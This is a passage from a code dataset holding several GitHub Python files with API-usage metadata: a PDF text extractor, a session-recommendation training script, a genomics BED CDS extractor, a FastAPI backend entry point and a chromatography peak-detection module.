{"api_name": "jax.numpy", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 102, "usage_type": "call"}, {"api_name": "jax.numpy.array", "line_number": 107, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 107, "usage_type": "name"}, {"api_name": "jax.numpy.max", "line_number": 111, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 111, "usage_type": "name"}, {"api_name": "jax.numpy.abs", "line_number": 111, "usage_type": "call"}]} {"seq_id": "29661394592", "text": "import PyPDF2\r\nimport sys\r\npdf = 'Lecture_Schedule2.pdf'\r\nsys.stdout = open('output.txt','wt')\r\npFObject = open(pdf, 'rb')\r\npdfR = PyPDF2.PdfFileReader(pFObject)\r\nc = pdfR.numPages\r\nfor i in range(c):\r\n page = pdfR.getPage(i)\r\n print(page.extractText())\r\n", "repo_name": "rangaran/AutoPlanner", "sub_path": "hackathon/pdftextconverter.py", "file_name": "pdftextconverter.py", "file_ext": "py", "file_size_in_byte": 261, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.stdout", "line_number": 4, "usage_type": "attribute"}, {"api_name": "PyPDF2.PdfFileReader", "line_number": 6, "usage_type": "call"}]} {"seq_id": "27449227264", "text": "import argparse\nimport os\nfrom tqdm import tqdm\nimport pickle\nimport time\nfrom utils import build_graph, Data, split_validation\nfrom model import *\n\ndef seed_everything(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n np.random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n \ndef main(opt):\n \n if not os.path.exists(os.path.join(os.getcwd(),\"long_seq\")):\n os.makedirs(\"long_seq\")\n if not os.path.exists(os.path.join(os.getcwd(),\"short_seq\")):\n os.makedirs(\"short_seq\")\n \n if opt.sequence_type==\"all\":\n train_path_data=os.path.join(opt.dataset,\"train.txt\")\n test_path_data=os.path.join(opt.dataset,\"test.txt\")\n elif opt.sequence_type==\"long\":\n data_dir=os.path.join(opt.dataset,\"long_short_seq\")\n train_path_data=os.path.join(data_dir,\"long_train.txt\")\n test_path_data=os.path.join(data_dir,\"long_test.txt\") \n elif opt.sequence_type==\"short\":\n data_dir=os.path.join(opt.dataset,\"long_short_seq\")\n train_path_data=os.path.join(data_dir,\"short_train.txt\")\n test_path_data=os.path.join(data_dir,\"short_test.txt\") \n else:\n raise ValueError(\"unknown sequence type\") \n \n with open(train_path_data, 'rb') as f1:\n train_data = pickle.load(f1)\n \n if opt.validation:\n train_data, valid_data = split_validation(train_data, opt.valid_portion)\n test_data = valid_data\n else:\n with open(test_path_data, 'rb') as f2:\n test_data = pickle.load(f2)\n \n # all_train_seq = pickle.load(open('../datasets/' + opt.dataset + '/all_train_seq.txt', 'rb'))\n # g = build_graph(all_train_seq)\n train_data = Data(train_data, shuffle=True)\n test_data = Data(test_data, shuffle=False)\n # del all_train_seq, g\n if opt.dataset.split(\"/\")[-2] == 'diginetica_data':\n n_node = 43098\n elif opt.dataset.split(\"/\")[-2] == 'yoochoose1_64' or opt.dataset.split(\"/\")[-2] == 'yoochoose1_4':\n n_node = 37484\n else:\n n_node = 556\n\n model = trans_to_cuda(SessionGraph(opt, n_node))\n\n start = time.time()\n best_result = [0, 0]\n best_epoch = [0, 0]\n bad_counter = 0\n \n # best_metric = float('inf') ## if cross-entropy loss is selected\n best_mrr = float(0) \n best_recall = float(0)\n \n for epoch in tqdm(range(opt.epoch)):\n print('-------------------------------------------------------')\n print('epoch: ', epoch)\n hit, mrr = train_test(model, train_data, test_data)\n \n if opt.sequence_type==\"all\":\n root_dir=os.path.join(os.getcwd(),\"output_metrics\")\n if not os.path.exists(root_dir):\n os.makedirs(root_dir)\n elif opt.sequence_type==\"long\":\n root_dir=os.path.join(os.getcwd(),\"long_seq\",\"output_metrics\")\n if not os.path.exists(root_dir):\n os.makedirs(root_dir)\n elif opt.sequence_type==\"short\":\n root_dir=os.path.join(os.getcwd(),\"short_seq\",\"output_metrics\")\n if not os.path.exists(root_dir):\n os.makedirs(root_dir)\n else:\n raise ValueError(\"unknown sequence type\")\n\n if opt.sequence_type==\"all\":\n root_dir=os.path.join(os.getcwd(),\"output_metrics\")\n with open(os.path.join(root_dir,\"test_\"+opt.output_name),'a') as f:\n f.write(f'{epoch+1},{hit},{mrr}\\n')\n \n elif opt.sequence_type==\"long\":\n root_dir=os.path.join(os.getcwd(),\"long_seq\",\"output_metrics\")\n with open(os.path.join(root_dir,\"test_\"+opt.output_name),'a') as f:\n f.write(f'{epoch+1},{hit},{mrr}\\n')\n \n elif opt.sequence_type==\"short\":\n root_dir=os.path.join(os.getcwd(),\"short_seq\",\"output_metrics\")\n with open(os.path.join(root_dir,\"test_\"+opt.output_name),'a') as f:\n f.write(f'{epoch+1},{hit},{mrr}\\n')\n else:\n raise ValueError(\"unknown sequence type\")\n \n # store best loss and save a model checkpoint\n ckpt_dict = {\n 'epoch': epoch + 1,\n 'state_dict': model.state_dict(),\n 'optimizer': model.optimizer.state_dict()\n }\n\n if hit>best_recall or mrr>best_mrr:\n best_recall=hit\n best_mrr=mrr\n if opt.sequence_type==\"all\":\n torch.save(ckpt_dict, opt.model_checkpoint)\n elif opt.sequence_type==\"long\":\n save_dir=os.path.join(os.getcwd(),\"long_seq\")\n torch.save(ckpt_dict, os.path.join(save_dir,opt.model_checkpoint))\n elif opt.sequence_type==\"short\":\n save_dir=os.path.join(os.getcwd(),\"short_seq\")\n torch.save(ckpt_dict, os.path.join(save_dir,opt.model_checkpoint)) \n else:\n raise ValueError(\"unknown sequence type\") \n \n flag = 0\n if round(hit,2) > round(best_result[0],2):\n best_result[0] = hit\n best_epoch[0] = epoch\n flag = 1\n if round(mrr,2) > round(best_result[1],2):\n best_result[1] = mrr\n best_epoch[1] = epoch\n flag = 1\n print('Best Result:')\n print('\\tRecall@20:\\t%.4f\\tMMR@20:\\t%.4f\\tEpoch:\\t%d,\\t%d'% (best_result[0], best_result[1], best_epoch[0], best_epoch[1]))\n bad_counter += 1 - flag\n if bad_counter >= opt.patience:\n break\n print('-------------------------------------------------------')\n end = time.time()\n print(\"Run time: %f s\" % (end - start))\n\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', default='../YOOCHOOSE_data/yoochoose1_64/', help='the dataset directory')\n parser.add_argument('--batchSize', type=int, default=100, help='input batch size')\n parser.add_argument('--hiddenSize', type=int, default=100, help='hidden state size')\n parser.add_argument('--epoch', type=int, default=30, help='the number of epochs to train for')\n parser.add_argument('--lr', type=float, default=0.001, help='learning rate') # [0.001, 0.0005, 0.0001]\n parser.add_argument('--lr_dc', type=float, default=0.1, help='learning rate decay rate')\n parser.add_argument('--lr_dc_step', type=int, default=3, help='the number of steps after which the learning rate decay')\n parser.add_argument('--l2', type=float, default=1e-5, help='l2 penalty') # [0.001, 0.0005, 0.0001, 0.00005, 0.00001]\n parser.add_argument(\"--gradient_accumulation\",action='store_true', help='gradient accumulation or not')\n parser.add_argument(\"--accumulation_steps\",type=int,default=2,\n help=\"Number of updates steps to accumulate before performing a backward/update pass.\")\n parser.add_argument('--step', type=int, default=1, help='gnn propogation steps')\n parser.add_argument('--patience', type=int, default=10, help='the number of epoch to wait before early stop ')\n parser.add_argument('--nonhybrid', action='store_true', help='only use the global preference to predict')\n parser.add_argument('--validation', action='store_true', help='validation')\n parser.add_argument('--valid_portion', type=float, default=0.1, help='split the portion of training set as validation set')\n parser.add_argument(\"--output_name\", type=str, default=\"amex_metrics.txt\")\n parser.add_argument(\"--model_checkpoint\", type=str, default=\"amex_checkpoint.pth\")\n parser.add_argument('--sequence_type',type=str,default=\"all\",help='all sequence or longer only sequence(>5) or short only sequence(<=5)')\n opt = parser.parse_args()\n print(opt)\n\n seed_everything(101)\n \n main(opt)\n", "repo_name": "iamjiang/sequence-based-recommendation", "sub_path": "TAGNN/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7820, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 19, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 21, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.split_validation", "line_number": 42, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 46, "usage_type": "call"}, {"api_name": "utils.Data", "line_number": 50, "usage_type": "call"}, {"api_name": "utils.Data", "line_number": 51, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "model.state_dict", "line_number": 111, "usage_type": "call"}, {"api_name": "model.optimizer.state_dict", "line_number": 112, "usage_type": "call"}, {"api_name": "model.optimizer", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path", "line_number": 124, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 144, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 150, "usage_type": "call"}]} {"seq_id": "71912011750", "text": "import re\nimport sys\nimport time\nfrom Bio import SeqIO\n\nimport os\nimport argparse\n\n\n#This script takes a bed file with cds information and creates a bed file with only cds regions\n# Use this to get CDS sequence using bedtools getfasta\n\nap = argparse.ArgumentParser(description='This script takes a bed file with cds information and creates a bed file with only cds regions')\n\nap.add_argument('-b', type=str, nargs=1, help='Bed file (required)')\nap.add_argument('-s', type=str, nargs=1, help='Stop codon include flag (required)')\nap.add_argument('-o', type=str, nargs=1, help='Output file name (required)')\n\n\nopts = ap.parse_args()\n\n#check for missing args\nmissing_arg_flag = 0\n\n\nif not opts.b:\n print(\"Annotation bed file missing\")\n missing_arg_flag = 1\nif not opts.s:\n print(\"Stop codon include flag missing\")\n missing_arg_flag = 1\nif not opts.o:\n print(\"output name missing\")\n missing_arg_flag = 1\n\nif missing_arg_flag == 1:\n print(\"Please try again with complete arguments\")\n\nbed_file = opts.b[0]\nstop_codon_flag = opts.s[0]\noutfile_name = opts.o[0]\n\nprint(\"opening bed file\")\n#bed_file = sys.argv[1]\nbed_file_contents = open(bed_file).read().rstrip(\"\\n\").split(\"\\n\")\n\n\n#stop_codon_flag = sys.argv[2] # either include_stop or exclude_stop\n\n#outfile_name = sys.argv[3]\noutfile = open(outfile_name,\"w\")\n\n\n\ngene_source = \"tama\"\ntrans_source = \"tama\"\n\ndef calc_end(start,block_size):\n end = int(start) + int(block_size) - 1 # adjust for bed 0 base and gtf 1 base coords\n #end = int(start) + int(block_size) #\n return str(end)\n\ndef calc_exon_start(t_start,e_start):\n coordinate_start = int(e_start) + int(t_start)\n return str(coordinate_start)\n\ndef convert_str_list_to_int(str_list):\n int_list = []\n for string in str_list:\n int_list.append(int(string))\n return int_list\n\ndef convert_int_list_to_str(int_list):\n str_list = []\n for integer in int_list:\n str_list.append(str(integer))\n return str_list\n\n\nclass Transcript:\n def __init__(self, bed_line):\n line_split = bed_line.split(\"\\t\")\n chrom = line_split[0]\n t_start = int(line_split[1])\n t_end = int(line_split[2])\n id_line = line_split[3]\n strand = line_split[5]\n num_exons = int(line_split[9])\n blocks = line_split[10]\n starts = line_split[11]\n\n cds_start = int(line_split[6])\n cds_end = int(line_split[7])\n\n id_split = id_line.split(\";\")\n gene_id = id_split[0]\n trans_id = id_split[1]\n prot_id = id_split[2]\n degrade_flag = id_split[3]\n match_flag = id_split[4]\n nmd_flag = id_split[5]\n\n\n self.id_list = id_split\n self.prot_id = prot_id\n self.degrade_flag = degrade_flag\n self.match_flag = match_flag\n self.nmd_flag = nmd_flag\n\n self.trans_id = trans_id\n self.gene_id = gene_id\n self.chrom = chrom\n self.t_start = str(t_start)\n self.t_end = str(t_end)\n self.strand = strand\n\n t_start_list = [int(t_start)] * int(num_exons)\n start_list = starts.split(\",\")\n start_list = filter(None, start_list)\n block_list = blocks.split(\",\")\n block_list = filter(None, block_list)\n\n self.bed_starts = starts\n self.bed_blocks = blocks\n\n # coordinate starts and ends\n self.start_list = map(calc_exon_start, t_start_list, start_list)\n self.end_list = map(calc_end, self.start_list, block_list)\n self.num_exons = num_exons\n\n self.cds_start = cds_start #################################################\n self.cds_end = cds_end #################################################\n \n # make position list\n\n self.trans_coord_list = []\n self.trans_coord_dict = {} # trans_coord_dict[coord] = index\n for i in xrange(int(self.num_exons)):\n\n e_index = i\n e_num = e_index + 1\n\n e_start = int(self.start_list[e_index])\n e_end = int(self.end_list[e_index])\n\n e_length = e_end - e_start\n\n for j in xrange(e_length + 1):\n pos_coord = e_start + j\n self.trans_coord_list.append(pos_coord)\n self.trans_coord_dict[pos_coord] = len(self.trans_coord_list) - 1\n\n \n # adjust cds end because of bed format 0 1 number method\n # correct for neg strand when cds goes to end\n if self.strand == \"-\" and self.cds_end == self.trans_coord_list[-1] + 1:\n self.cds_end_adj = self.trans_coord_list[-1]\n \n else: # this is the normal condition for CDS\n try:\n cds_end_index = self.trans_coord_dict[self.cds_end]\n except:\n print(self.trans_coord_list)\n print(len(self.trans_coord_list))\n print(self.cds_end)\n print(self.trans_id)\n print(\"error with self.cds_end\")\n sys.exit()\n \n self.cds_end_adj = self.trans_coord_list[cds_end_index - 1]\n\n # this is deprecated because I do this check before calling this function\n # just keep it here for sanity\n no_cds_flag = \"cds_exists\"\n if self.cds_start == 0 and self.cds_end == 0:\n no_cds_flag = \"no_cds\"\n\n if no_cds_flag == \"cds_exists\":\n if self.strand == \"+\":\n if stop_codon_flag == \"include_stop\":\n\n try:\n cds_end_index = self.trans_coord_dict[self.cds_end_adj]\n except:\n print(self.trans_coord_list)\n print(self.cds_end_adj)\n print(self.trans_id)\n print(\"error with self.cds_end_adj\")\n sys.exit()\n\n stop_codon_index = cds_end_index + 3\n\n #if stop_codon_index >= len(self.trans_coord_list):\n # stop_codon_index = len(self.trans_coord_list) - 1\n \n #print(self.trans_coord_list)\n #print(stop_codon_index)\n #print(len(self.trans_coord_list))\n #print(self.trans_id)\n #sys.exit()\n\n self.cds_end_adj = self.trans_coord_list[stop_codon_index]\n\n\n if self.strand == \"-\":\n if stop_codon_flag == \"include_stop\":\n cds_start_index = self.trans_coord_dict[self.cds_start]\n stop_codon_index = cds_start_index - 3\n self.cds_start = self.trans_coord_list[stop_codon_index]\n \n# if self.trans_id == \"G1594.5\":\n# print(self.trans_coord_list)\n# print(stop_codon_index)\n# print(len(self.trans_coord_list))\n# print(self.trans_id)\n# print(self.cds_end_adj)\n# print(self.cds_end)\n# sys.exit()\n\n\n def cds_extract(self):\n\n if int(self.num_exons) != len(self.start_list):\n print(\"Error with number of exons\")\n sys.exit()\n\n cds_e_start_list = []\n cds_e_end_list = []\n\n for i in xrange(int(self.num_exons)):\n\n e_index = i\n e_num = e_index + 1\n\n e_start = int(self.start_list[e_index])\n e_end = int(self.end_list[e_index])\n\n cds_e_start = e_start\n cds_e_end = e_end\n\n if self.cds_start >= e_start and self.cds_start <= e_end:\n cds_e_start = self.cds_start\n #######################\n\n\n if self.cds_end_adj >= e_start and self.cds_end_adj <= e_end:\n cds_e_end = self.cds_end_adj\n ######################\n\n #if self.cds_end_adj == e_start:\n # continue\n\n if self.cds_start > e_end: # cds start is after this exon\n continue\n\n if self.cds_end_adj < e_start: # cds end is before this exon\n continue\n\n\n cds_e_start_list.append(cds_e_start)\n cds_e_end_list.append(cds_e_end)\n\n self.cds_start = cds_e_start_list[0]\n self.cds_end_adj = cds_e_end_list[-1]\n\n # convert to new bed line\n new_block_list = []\n new_starts_list = []\n for i in xrange(len(cds_e_start_list)):\n cds_e_start = cds_e_start_list[i]\n cds_e_end = cds_e_end_list[i]\n\n new_start = str(cds_e_start - self.cds_start)\n new_block = str(1 + cds_e_end - cds_e_start)\n\n new_starts_list.append(new_start)\n new_block_list.append(new_block)\n\n new_starts_line = \",\".join(new_starts_list)\n new_blocks_line = \",\".join(new_block_list)\n\n new_bed_list = line_split\n new_bed_list[10] = new_blocks_line\n new_bed_list[11] = new_starts_line\n\n new_bed_list[1] = str(self.cds_start)\n new_bed_list[2] = str(self.cds_end_adj + 1)\n\n new_bed_list[6] = str(self.cds_start)\n new_bed_list[7] = str(self.cds_end_adj + 1)\n\n new_num_exons = str(len(new_starts_list))\n\n new_bed_list[9] = new_num_exons\n\n new_id_list = [\"cds\"]\n new_id_list.extend(self.id_list)\n\n new_id_line = \";\".join(new_id_list)\n\n new_bed_list[3] = new_id_line\n\n new_bed_line = \"\\t\".join(new_bed_list)\n\n return new_bed_line\n\n\ncount = 0\n\nprint(\"Going through bed file\")\nfor line in bed_file_contents:\n\n count += 1\n if count % 10000 == 0 :\n print(count)\n\n\n line_split = line.split(\"\\t\")\n\n chrom = line_split[0]\n t_start = line_split[1]\n t_end = line_split[2]\n id_line = line_split[3]\n strand = line_split[5]\n num_exons = line_split[9]\n block_sizes = line_split[10]\n block_starts = line_split[11]\n\n cds_start = line_split[6]\n cds_end = line_split[7]\n\n id_split = id_line.split(\";\")\n gene_id = id_split[0]\n trans_id = id_split[1]\n\n\n\n if cds_start != \"0\" and cds_end != \"0\":\n trans_obj = Transcript(line)\n\n new_bed_line = trans_obj.cds_extract()\n\n outfile.write(new_bed_line)\n outfile.write(\"\\n\")\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "GenomeRIK/tama", "sub_path": "tama_go/orf_nmd_predictions/tama_bed_extract_cds.py", "file_name": "tama_bed_extract_cds.py", "file_ext": "py", "file_size_in_byte": 10196, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 107, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 168, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 189, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 225, "usage_type": "call"}]} {"seq_id": "11490498393", "text": "import uvicorn\nfrom fastapi import FastAPI\nfrom starlette.middleware.cors import CORSMiddleware\n\nimport config\nfrom routes import auth, student, attendance\n\napp = FastAPI()\n\norigins = ['http://localhost:3000', 'http://192.168.178.23:3000'] # add your front-end ip:port here\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\napp.include_router(auth.router)\napp.include_router(student.router)\napp.include_router(attendance.router)\n\nif __name__ == '__main__':\n uvicorn.run(\n app,\n host=config.get(\"application\", \"application.host\"),\n port=int(config.get(\"application\", \"application.port\"))\n )\n", "repo_name": "dilshankarunarathne/automated-attendance-marking-system-backend", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 717, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "fastapi.FastAPI", "line_number": 8, "usage_type": "call"}, {"api_name": "starlette.middleware.cors.CORSMiddleware", "line_number": 13, "usage_type": "argument"}, {"api_name": "routes.auth.router", "line_number": 20, "usage_type": "attribute"}, {"api_name": "routes.auth", "line_number": 20, "usage_type": "name"}, {"api_name": "routes.student.router", "line_number": 21, "usage_type": "attribute"}, {"api_name": "routes.student", "line_number": 21, "usage_type": "name"}, {"api_name": "routes.attendance.router", "line_number": 22, "usage_type": "attribute"}, {"api_name": "routes.attendance", "line_number": 22, "usage_type": "name"}, {"api_name": "uvicorn.run", "line_number": 25, "usage_type": "call"}, {"api_name": "config.get", "line_number": 27, "usage_type": "call"}, {"api_name": "config.get", "line_number": 28, "usage_type": "call"}]} {"seq_id": "22438257696", "text": "import numpy as np\nfrom scipy.signal import savgol_filter\nif __name__ == '__main__':\n import sys\n from os import path\n sys.path.append( path.dirname(path.dirname( path.abspath(__file__) ) ))\n\n\nfrom lib.OpenChromFile import FileOpenClass\nfrom lib.Smoother import Moving_average, data_Bunching\nfrom lib import AirPLS\nfrom lib.peakDetectionAlgorithm import adjustPeaksBoundary, peakSearchAlgorithm\nfrom lib.thresholdCalc import threshold\n\nfrom lib.ChromAlgorithm import SmoothData, Detrand, data_Bunching\nfrom lib.Peak import Peak\nfrom lib.PeakSymmetry import calcPeakSymmetry\n\n'''\nclass Peak:\n # ------------ Property ------------\n # Peak 邊界 (front x, front y, back x, back y)\n boundary = (0,0,0,0) \n boundary_index = (-1,-1) # ( front index, back index)\n # Peak 峰值位置 (x,y)\n Apex = (0,0)\n Apex_index = -1\n # Peak 基本參數\n height,tr, width ,area = 0,0,0,0\n # peak 的非對稱資訊\n w05,w01,w005,tf,As,N, sigma= 0,0,0,1,1,0,0\n # implied Peak 資訊 ( 三次微分所找的peak )\n co_peak = []\n #-----------------------------------\n def __init__(self):\n pass\n'''\nclass Chromatograph:\n # ------------ Property ------------\n time=[]\n signal=[]\n baseline=[]\n # 微分圖譜, 分別為一次微分, 二次微分, 三次微分\n dydx=[]\n dydx2=[]\n dydx3=[]\n # 儲存 Peaks 的容器 , 為 list(Class Peak)\n peak_list=[]\n # -----------------------------------\n\n def __init__(self, time=[], signal=[]):\n self.time = time\n self.signal = signal\n\n def DataBunch(self, bunching_point=3):\n self.time, self.signal = data_Bunching( self.time, self.signal, bunching_point )\n\n def CalcBaseline(self, method=\"AirPLS\", *args, **kwargs):\n lambda_ = kwargs.get('lambda_') if 'lambda_' in kwargs else 10000\n self.baseline = Detrand( method, self.signal, lambda_= lambda_ )\n\n def Smooth( self, method='Savitzky_Golay_Smooth', window_size=13 , *args, **kwargs ):\n order = kwargs.get('order') if 'order' in kwargs else 3\n mode = kwargs.get('mode') if 'mode' in kwargs else 'nearest'\n sigma = kwargs.get('sigma') if 'sigma' in kwargs else 7\n\n self.time, self.signal = SmoothData( \n method, \n self.time, \n self.signal, \n window_size, \n order=order, \n mode= mode, \n sigma=sigma \n )\n\n def SmoothDerivative( self, window_size=21, alpha=1.5):\n # ------ 把 window size 處理為奇數 ------\n window_size = window_size+1 if window_size%2 == 0 else window_size\n # ------ ------ ------ ------ ----- -----\n dx = self.time[1] - self.time[0]\n\n self.dydx = savgol_filter( \n self.signal, window_length=window_size, polyorder=2, deriv=1, delta=dx\n ) # 一次微分\n self.dydx2 = savgol_filter( \n self.signal, window_length=int(window_size*alpha), polyorder=2, deriv=2, delta=dx \n ) # 二次微分\n self.dydx3 = savgol_filter( \n self.signal, window_length=int(window_size*alpha*alpha), polyorder=3, deriv=3, delta=dx \n ) # 三次微分 \n\n def PeakDetection(self, k = 10, tail_factor = 0.3, MIN_PEAK_INTERVAL=0.5 ):\n dydx_threshold = threshold(self.dydx.copy(), k)\n dydx2_threshold = threshold(self.dydx2.copy(), k)\n #///////////////////////////////////////////////////////////////////////\n peak_index_list = peakSearchAlgorithm( \n [self.time,self.signal], \n [self.dydx,self.dydx2,self.dydx3],\n dydx_threshold[1],\n dydx_threshold[0] * tail_factor,\n dydx2_threshold[0],\n offset=10,\n MAX_TIME_WIDTH=0.5 \n )\n\n # peak_index_list : list , 2D-array\n # array( [ start index, highest index, end index, apex index ] )\n # index 為 time array 或 signal array的編號\n # start index : peak 起始點的 index\n # highest index : peak 最高點的 index\n # end index : peak 終點的 index\n # apex index : 峰值位置的 index, 為 list, 為利用三次微分圖譜所找到的 peak\n # 為單一peak時, len(apex index)=1且應為 apex index[0] == highest index\n # 若有高度共析狀況發生, 圖譜與一次微分無發區分該共析peaks, \n # 此時 len(apex index) > 1, 其 list內容則是共析peak的apex位置\n #///////////////////////////////////////////////////////////////////////\n\n boundary_table = adjustPeaksBoundary(\n self.time, self.signal, peak_index_list, self.baseline,\n MIN_PEAK_INTERVAL\n )\n self.__build_peak_list( peak_index_list, boundary_table )\n\n #-----------------------\n\n temp = []\n for p in self.peak_list:\n temp.append( \n calcPeakSymmetry(self.time, self.signal, p) \n )\n self.peak_list = temp.copy()\n \n #------------------------\n\n def __build_peak_list(self, peak_index_list, boundary_table):\n self.peak_list = []\n for i in range( len(peak_index_list) ):\n peak = Peak()\n peak.boundary_index = ( \n peak_index_list[i][0], peak_index_list[i][2]\n )\n peak.boundary= ( boundary_table[i] )\n peak.Apex = (\n self.time[ peak_index_list[i][1]], self.signal[ peak_index_list[i][1] ]\n )\n peak.Apex_index = peak_index_list[i][1]\n\n peak.height = peak.Apex[1]\n peak.tr = peak.Apex[0]\n peak.width = peak.boundary[2] - peak.boundary[0]\n # ----- 計算積分 -----\n area = np.trapz(\n self.signal[ peak.boundary_index[0]: peak.boundary_index[1] ], \n self.time[ peak.boundary_index[0]: peak.boundary_index[1] ]\n )\n\n # ----- 計算基線 -----\n # 因為計算出來的 baseline可能會大於原始訊號, 這會造成積分值會比預期低\n # 因此多一到工序 min( signal, baseline ), 保證積分時的基線必 <= signal\n base = []\n for i in range( peak.boundary_index[0], peak.boundary_index[1], 1 ):\n base.append( min( self.signal[i], self.baseline[i] ) )\n\n base_area = np.trapz( \n base ,\n self.time[ peak.boundary_index[0]: peak.boundary_index[1] ]\n )\n peak.area = area - base_area\n\n # ------ ------ ------ ------\n peak.co_peak = peak_index_list[ 3 ]\n\n # ----- 寫入資料 -----\n self.peak_list.append( peak )\n # ------ ------ ------ ------\n\n def peakHeightFilter( self, SN_rate=3.0 ):\n # 利用 peak height 過濾\"已找尋到\"的 peaks\n new_peak_list = []\n for peak in self.peak_list:\n if (peak.height / self.baseline[ peak.Apex_index ] ) >= SN_rate :\n new_peak_list.append( peak ) \n self.peak_list = 